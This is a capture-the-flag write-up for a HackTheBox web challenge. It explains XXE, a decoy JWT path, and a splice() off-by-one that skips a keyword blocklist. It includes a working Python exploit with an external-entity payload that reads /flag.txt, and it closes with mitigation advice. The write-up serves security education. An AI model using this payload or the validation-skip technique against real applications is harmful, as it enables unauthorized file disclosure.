HTB: XO XO Exploit — XXE via a Validation-Loop Bypass
Writeup for XO XO Exploit, a Very Easy web challenge on HackTheBox.
XO XO Exploit is a Very Easy web challenge on HackTheBox, but it quietly teaches two separate lessons: how to recognise a deliberate dead end, and how a tiny bug in a validation loop can completely neuter an otherwise decent input filter. The headline vulnerability is XXE (XML External Entity injection), but you can’t reach it until you defeat a keyword blocklist — and the way you defeat it has nothing to do with clever encoding. This writeup walks through the whole chain, explaining the why at each step so you can reproduce the reasoning on the next challenge, not just this one.
Challenge Overview
| Property | Value |
|---|---|
| Platform | HackTheBox |
| Challenge Name | XO XO Exploit |
| Challenge Link | app.hackthebox.com/challenges/XO XO Exploit |
| Category | Web |
| Difficulty | Very Easy |
| Number of Flags | 1 |
| Target(s) | Spawned Docker instance (e.g. http://<TARGET_IP>:<PORT>) |
| Completion Time | ~30 minutes |
Figure 1: The target’s home page — “XO, The Weeknd Music Platform” — with Login, Register and Dashboard links.
The challenge hands you a .zip of the application source and a spawnable target. The scenario text (“Are you a true The Weeknd fan?”) is flavour — the app is a little web page where you register, log in, and submit “song cards” describing songs you like.
What is XXE?
If you’re new to this class of bug, XXE (XML External Entity injection) is worth understanding before we dive in, because the whole challenge hinges on it.
XML documents can define entities — think of them as reusable variables. A normal (internal) entity looks like this:
1
2
<!DOCTYPE foo [ <!ENTITY greeting "hello"> ]>
<foo>&greeting;</foo> <!-- expands to: <foo>hello</foo> -->
The danger comes from external entities, which tell the XML parser to go and fetch content from outside the document — including local files on the server:
1
2
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo> <!-- expands to the contents of /etc/passwd -->
If an application builds XML out of user input and uses a parser configured to resolve external entities, an attacker can read arbitrary files, reach internal network services (SSRF), or in some setups achieve remote code execution. Modern XML libraries disable this by default — so XXE usually appears when a developer explicitly turns entity resolution on. As we’ll see, that’s exactly what happened here.
Table of Contents
- Source Code Review
- The Red Herring: JWT
- Finding the XXE Sink
- The Obstacle: Input Sanitizer
- The Real Trick: A splice() Off-By-One
- Locating the Flag
- Building the Exploit
- Capturing the Flag
- Vulnerabilities Exploited
- Defense / Mitigation
- Key Takeaways
Source Code Review
Web challenges that ship their source are won by reading, not scanning. Unzipping the archive gives us a small Node.js/Express application:
1
2
3
4
5
6
7
8
web_xo_xo_exploit
├── build-docker.sh
├── Dockerfile
├── entrypoint.sh
├── flag.txt
├── index.js # the application logic
├── package.json
└── public/ # static front-end (HTML/CSS/JS)
Before touching the target, it pays to understand how the app is deployed. Three files frame the challenge.
entrypoint.sh — run every time the container starts:
1
2
3
#!/bin/sh
export JWT_SECRET=$(openssl rand -hex 32)
exec "$@"
Dockerfile (trimmed to the interesting parts):
1
2
3
4
5
6
7
8
9
FROM node:18-slim
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN mv flag.txt /flag.txt # <-- flag is moved OUT of /app
ENV OPENSSL_CONF=/dev/null
ENTRYPOINT ["/entrypoint.sh"]
CMD ["npm", "start"]
package.json dependencies (the relevant ones):
1
2
3
4
5
"dependencies": {
"express": "^4.18.2",
"jsonwebtoken": "^9.0.2",
"libxmljs": "^1.0.11"
}
Two details jump out immediately and shape the whole approach:
- The JWT secret is regenerated randomly on every boot (
openssl rand -hex 32). - The flag is moved to the filesystem root (
/flag.txt), not left in the app directory.
Keep both in your back pocket.
The Red Herring: JWT
The app uses jsonwebtoken for authentication. When you see JWTs in a challenge, the instinct is to attack the token — forge an admin token, crack a weak secret, or abuse alg: none. Let’s check whether any of that is viable.
Here’s how tokens are verified in index.js:
1
2
3
4
5
6
7
8
9
10
11
12
const JWT_SECRET = process.env.JWT_SECRET || 'production-diff';
const authenticateToken = (req, res, next) => {
const token = req.cookies?.token || req.headers?.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Access token required' });
jwt.verify(token, JWT_SECRET, (err, user) => { // signature IS checked
if (err) return res.status(403).json({ error: 'Invalid token' });
req.user = user;
next();
});
};
Now cross-reference with entrypoint.sh. On the live instance, JWT_SECRET is a fresh 32-byte random value — so the 'production-diff' fallback never applies, the secret is never in the source, and it’s different from anything you could compute locally. The verification also uses jwt.verify() (which validates the signature) rather than jwt.decode() (which doesn’t), and jsonwebtoken@9 is a current version with no trivial alg: none bypass.
🧠 Think First! Before reading on: given a randomly generated, never-exposed signing secret and a properly-called
jwt.verify(), is attacking the token realistic? What does that tell you about where the intended bug must live?
The conclusion: the JWT path is a deliberate dead end. The author went out of their way to randomise the secret precisely so you can’t forge tokens. That’s a strong hint to stop staring at authentication and look at what an authenticated user is allowed to do. Registration is open (POST /api/register hands you a valid token), so getting a legitimate low-privilege session is trivial — the real vulnerability must be in a feature reachable after you log in.
Finding the XXE Sink
The one interesting authenticated endpoint is POST /createSongCards. It takes an array of song objects and, for each one, builds an XML document by string-concatenating your input into a DTD, then parses it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE songCard [
<!ENTITY songName "${song.songName}">
<!ENTITY artist "${song.artist}">
<!ENTITY thoughts "${song.thoughts}">]>
<songCard>
<cardInfo>
<songName>&songName;</songName>
<artist>&artist;</artist>
<thoughts>&thoughts;</thoughts>
...
</cardInfo>
</songCard>`;
const doc = libxmljs.parseXml(xml, { replaceEntities: true }); // 🔥
This is a textbook XXE sink, for two compounding reasons:
- User input is placed directly inside a DTD (
<!ENTITY songName "${song.songName}">). We control the raw bytes of the document’s entity definitions. replaceEntities: trueexplicitly tellslibxmljs(a libxml2 binding) to resolve entities, including externalSYSTEMentities that read files off disk. This is the single switch that turns a harmless XML build into file disclosure.
After parsing, the app reads the parsed values back out and stores them against your user. You can then retrieve them with GET /api/songs — giving us an easy exfiltration channel: whatever the entity resolves to lands in songData.songName, which the app helpfully shows back to us.
So the plan is clear: inject an external entity that points at /flag.txt, get it stored, and read it back. The only question is how to smuggle the payload past validation.
The Obstacle: Input Sanitizer
Each song is checked by sanitizeInput before the XML is ever built:
1
2
3
4
5
6
7
8
9
10
11
12
const forbiddenPatterns = [
/<!/i, /SYSTEM/i, /ENTITY/i, /DOCTYPE/i, /xmlns/i,
/xsi:/i, /schemaLocation/i, /noNamespaceSchemaLocation/i
];
const sanitizeInput = (input) => {
if (!input || typeof input !== 'string') return false;
for (const pattern of forbiddenPatterns) {
if (pattern.test(input)) return false; // reject on any match
}
return true;
};
Every keyword a classic XXE payload needs — <!, ENTITY, SYSTEM, DOCTYPE — is on the blocklist, and the regexes run against the raw input before any decoding. There’s no case trick (the patterns are case-insensitive) and no encoding trick (libxml2 sees the same bytes the filter did). A straightforward payload just earns a cheerful Try harder lmao.
So we can’t disguise the payload. We have to make sure our malicious song is never handed to sanitizeInput in the first place.
The Real Trick: A splice() Off-By-One
Here’s the validation loop in full. Read it slowly — the bug is subtle and it’s the entire challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var songs = Array.from(req.body);
...
for (var i = 0; i < songs.length; i++) {
const song = songs[i];
// ...field presence / type / length checks...
if (!sanitizeInput(song.songName) || !sanitizeInput(song.artist) || !sanitizeInput(song.thoughts)) {
return res.status(400).json({ error: 'Try harder lmao' });
}
if (song.artist.toLowerCase().includes('drizzy') ||
song.artist.toLowerCase().includes('drake')) {
songs.splice(i, 1); // remove the current element...
continue; // ...but i still gets incremented
}
}
// SECOND loop — builds the XML with NO sanitization:
for (var song of songs) {
const xml = `... ${song.songName} ...`;
const doc = libxmljs.parseXml(xml, { replaceEntities: true });
...
}
This is a joke aimed at Drake fans (the app refuses to store songs by “Drake” / “Drizzy” — fitting for a Weeknd-themed challenge), but it introduces a genuine security flaw.
When you call splice(i, 1), every element after index i shifts down by one position. But continue still advances i to i + 1. So the element that just slid into position i is jumped over — the loop moves to i + 1 and never validates it. In effect, a Drake song is a primitive that says “skip validation on whatever comes right after me.”
Let’s trace it with the array [Drake, Malicious, Weeknd]:
| Step | i | songs before | Action | songs after |
|---|---|---|---|---|
| 1 | 0 | [Drake, Malicious, Weeknd] | Drake passes filter, matches drake-check → splice(0,1), continue | [Malicious, Weeknd] |
| 2 | 1 | [Malicious, Weeknd] | validates element at index 1 = Weeknd ✅ | [Malicious, Weeknd] |
| 3 | 2 | [Malicious, Weeknd] | 2 < 2 is false → loop ends | — |
Malicious sat at index 0 for step 2, but the loop was already looking at index 1. It was never sanitized. The second loop then iterates the surviving array ([Malicious, Weeknd]) and feeds our raw payload straight into the XML template. Filter bypassed.
Locating the Flag
This is where the Dockerfile pays off. A lazy guess would be file:///app/flag.txt, since WORKDIR is /app. But recall:
1
RUN mv flag.txt /flag.txt
The flag is explicitly moved to the container root. So the correct target is:
1
file:///flag.txt
(Note the three slashes: file:// + the absolute path /flag.txt.) Reading the Dockerfile instead of guessing saves a round of failed requests — and it’s the author gently nudging you to do exactly that.
Building the Exploit
Now we assemble the payload. The malicious song’s songName has to do three things inside the DTD: close the songName entity’s value, declare our external xxe entity, and point the existing songName entity at it. Our injected value is:
1
&xxe;"> <!ENTITY xxe SYSTEM "file:///flag.txt
When the template wraps that, the first line of the DTD becomes:
1
<!ENTITY songName "&xxe;"> <!ENTITY xxe SYSTEM "file:///flag.txt">
So <songName>&songName;</songName> expands &songName; → &xxe; → the contents of /flag.txt. The trailing "> is supplied by the template itself.
Here’s the full exploit — it registers a fresh account (giving us a valid token in a cookie), sends the three-song array, and reads the result back:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
TARGET = "http://<TARGET_IP>:<PORT>" # your spawned instance
FLAG = "file:///flag.txt" # confirmed from the Dockerfile
s = requests.Session()
# 1) Register -> server sets a valid JWT cookie on our session
s.post(f"{TARGET}/api/register", json={
"username": "pwn123",
"password": "Passw0rd!",
"confirmPassword": "Passw0rd!"
})
# 2) Craft the array: Drake first (burns the splice skip),
# malicious card second (slides into the unvalidated slot),
# a clean third card to satisfy the "at least 3 songs" check.
payload = [
{"songName": "Blinding Lights", "artist": "Drake", "thoughts": "trigger the splice skip"},
{"songName": f'&xxe;"> <!ENTITY xxe SYSTEM "{FLAG}', "artist": "a", "thoughts": "a"},
{"songName": "Save Your Tears", "artist": "The Weeknd", "thoughts": "classic"},
]
print(s.post(f"{TARGET}/createSongCards", json=payload).text)
# 3) Read our stored cards back -> flag is in the first card's songName
print(s.get(f"{TARGET}/api/songs").json())
Command Breakdown
requests.Session()— persists thetokencookie the server sets at registration across the later requests, so we stay authenticated without manually copying the JWT./api/register— registration is open and immediately returns a signed token, so we never need to break authentication; a legitimate low-priv session is enough.- Song order matters — the Drake card must come first so its
splice()/continueskips validation on the card right after it (our payload). The third clean card is only there to pass thesongs.length < 3guard. &xxe;"> <!ENTITY xxe SYSTEM "file:///flag.txt— closes thesongNamevalue, declares the external entity, and leaves the template’s own">to close ourSYSTEMdeclaration./api/songs— the exfiltration read-back; the resolved file contents are returned to us insidesongData.songName.
Capturing the Flag
Running it against the live instance:
1
2
3
4
5
6
7
8
9
$ python3 exp.py
{"success":true,"message":"Song cards created!"}
[{'id': 1794635228279.2415, 'userId': 4, 'createdAt': '2026-11-14T05:47:08.279Z',
'songData': {'songName': 'HTB{72b122a00b69c7acd9e753b29b6f2c2f}',
'artist': 'a', 'thoughts': 'a',
'createdAt': '2026-11-14T05:47:08.279Z'}},
{'id': 1794635228280.7012, 'userId': 4, 'createdAt': '2026-11-14T05:47:08.280Z',
'songData': {'songName': 'Save Your Tears', 'artist': 'The Weeknd',
'thoughts': 'classic', 'createdAt': '2026-11-14T05:47:08.279Z'}}]
The XXE fired: the first stored card’s songName is the flag contents read straight off /flag.txt.
🚩 Flag captured:
HTB{72b122a00b69c7acd9e753b29b6f2c2f}
Captured Flags
| Flag | Value | Method | |
|---|---|---|---|
| Flag 1 | HTB{72b122a00b69c7acd9e753b29b6f2c2f} | XXE file disclosure via createSongCards, after bypassing the sanitizer with a splice() off-by-one | ✅ Captured |
Vulnerabilities Exploited
1. XML External Entity (XXE) Injection — the primary bug. createSongCards concatenates user input directly into a DTD and parses it with libxmljs.parseXml(xml, { replaceEntities: true }). Enabling entity resolution on attacker-influenced XML allows declaration of an external SYSTEM entity that reads local files, which are then reflected back through /api/songs.
2. Broken Input Validation (loop off-by-one) — the enabler. The “Drake filter” removes the current element with splice(i, 1) and then continues, which still increments i. The element shifted into the current index is skipped by the validation loop entirely, so the keyword blocklist (<!, ENTITY, SYSTEM, DOCTYPE) can be bypassed without any obfuscation. Worse, the second loop that actually builds the XML performs no validation at all, trusting that the first loop cleaned everything.
3. Sensitive data exposure via reflection. Parsed song values are stored and returned verbatim to the requesting user, turning a file-read primitive into a clean, reliable exfiltration channel.
Defense / Mitigation
Disable external entity resolution. The root cause is replaceEntities: true on untrusted XML. If entity expansion isn’t needed, leave it off (the secure default). If it is, disable external entity and DTD loading specifically. Better still, don’t hand-build XML from a string template at all — construct it with a DOM/builder API so user values are inserted as text nodes, never as DTD markup.
Never rely on a keyword blocklist for XML. Blocklists are brittle and, as this challenge shows, one logic slip bypasses them. Prefer allow-listing and structural handling over pattern-matching on raw input.
Fix the loop — don’t mutate an array while indexing it. Removing elements during a for loop and then continueing is a classic off-by-one. Build a new, filtered array (songs = songs.filter(...)) before validating, or iterate backwards, or decrement i after a splice. Then validate the final list, and have the consumer (the XML builder) validate again rather than trusting an earlier pass — defense in depth.
Keep the flag out of web-reachable paths and apply least privilege. Moving the flag to /flag.txt helps, but the real fix is denying the application the ability to read arbitrary files it has no business touching.
Key Takeaways
If you worked through this, you picked up a few transferable lessons:
Recognising a deliberate red herring is a skill of its own. The randomised JWT secret in entrypoint.sh was a loud signal that authentication wasn’t the path — when an author goes out of their way to make one attack impossible, they’re steering you toward a different one. Reading deployment scripts (entrypoint.sh, the Dockerfile) is as valuable as reading the app code; the flag’s real location came from one mv line.
XXE lives wherever a developer opts back into entity resolution. replaceEntities: true (or its equivalent in other libraries) is the tell. Any time user input reaches an XML parser with that switch on, test for external entities pointing at file:/// and internal URLs.
And the big one: a filter is only as strong as the loop that applies it. The sanitizer here was actually reasonable — it blocked every keyword you’d need. It was defeated not by beating the regexes but by a one-line control-flow bug that skipped them. When you review code, trace the loop mechanics around validation (mutation during iteration, continue/break placement, index arithmetic), and always check whether the component that finally uses the data re-validates or just trusts an upstream pass.
⚠️ Ethical Use Disclaimer
This writeup was produced against an authorized HackTheBox lab environment that exists specifically for security education. The techniques shown — XXE, input-validation bypass, and local file disclosure — must only ever be used on systems you own or have explicit written permission to test. Applying them against systems without authorization is illegal and unethical. If you discover a vulnerability like this in a real application, follow responsible disclosure and report it to the owner so it can be fixed. Hack to learn and to help defenders, never to harm.